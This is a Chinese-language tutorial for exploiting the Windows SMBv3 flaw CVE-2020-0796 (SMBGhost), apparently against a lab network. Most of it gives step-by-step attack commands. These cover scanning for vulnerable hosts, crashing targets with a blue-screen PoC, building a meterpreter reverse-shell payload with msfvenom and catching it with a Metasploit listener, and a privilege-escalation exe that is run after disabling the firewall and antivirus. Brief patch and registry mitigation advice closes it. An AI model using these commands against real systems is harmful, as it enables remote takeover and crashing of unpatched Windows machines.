漏洞描述
Microsoft服务器消息块3.1.1(SMBv3)协议处理某些请求的方式中存在一个远程执行代码漏洞,也称为“ Windows SMBv3客户端/服务器远程执行代码漏洞”。
影响版本
- 适用于32位系统的Windows 10版本1903
- Windows 10 1903版(用于基于ARM64的系统)
- Windows 10 1903版(用于基于x64的系统)
- 适用于32位系统的Windows 10版本1909
- Windows 10 1909版(用于基于ARM64的系统)
- Windows 10版本1909(用于基于x64的系统)
- Windows Server 1903版(服务器核心安装 )
- Windows Server版本1909(服务器核心安装)
漏洞检测
利用工具:
https://github.com/GuoKerS/aioScan_CVE-2020-0796
使用方法:
#安装python模块
python3 -m pip install netaddr
#脚本利用 python3 aioscan_2020_0796.py <ip>
python3 aioscan_2020_0796.py 192.168.206.137
提示Vulnerable!!
表示存在漏洞
漏洞利用
Windows 10 1903版(用于基于x64的系统) 迅雷下载地址:
thunder://QUFodHRwOi8veHoxLmRhb2hhbmc0LmNvbS9jbl93aW5kb3dzXzEwX2NvbnN1bWVyX2VkaXRpb25zX3ZlcnNpb25fMTkwM194NjRfZHZkXzhmMDUyNDFkLmlzb1pa
蓝屏攻击
利用工具:
https://github.com/eerykitty/CVE-2020-0796-PoC
使用教程:
#进入下载好的脚本目录,安装python模块
python3 -m pip install -r requirements-test.txt
python3 -m pip install ntlm_auth pyasn1 cryptography
#脚本利用
#python3 CVE-2020-0796.py <ip>
python3 CVE-2020-0796.py 192.168.206.137
远程代码执行
python版本:3.6.6
需要用到python3.6版本,3.7执行脚本后会蓝屏,并不能远程命令执行。
下载地址:https://www.python.org/downloads/release/python-366/
利用工具:
https://github.com/chompie1337/SMBGhost_RCE_PoC
下载好工具后,先生成反弹shell的shellcode:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.206.128 lport=4444 -f py -o shellcode.txt
将shellcode.txt
中的shell复制出来,替换buf为USER_PAYLOAD
小技巧,windows的文本工具可以替换字符
将更改好的shellcode复制到我们下载好的脚本exploit.py
文件中,替换掉USER_PAYLOAD
kali开启msf监听:
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.206.128
set lport 4444
run
脚本exp利用攻击:
python36 exploit.py -ip 192.168.206.141
执行显示到[+] Press a key to execute shellcode!
时回车
msf获取shell权限:
shell
本地提权
利用攻击下载:
https://github.com/danigargu/CVE-2020-0796
需要生成exe,生成exe需要利用到Visual Studio
下载好后打开Visual Studio,载入项目,打开CVE-2020-0796.sln文件
生成exe
生成好后会在你exp目录下存在一个\x64\Debug\
文件夹
将exe文件复制到windows10中,需要先关闭防火墙并关闭实时防护
脚本利用:
exe是直接运行即可
修复建议
- 及时更新windows或安装补丁:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
- 运行
regedit.exe
,打开注册表编辑器,在HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\ Parameters
建立一个名为DisableCompression
的DWORD
,值为1
,禁止SMB的压缩功能。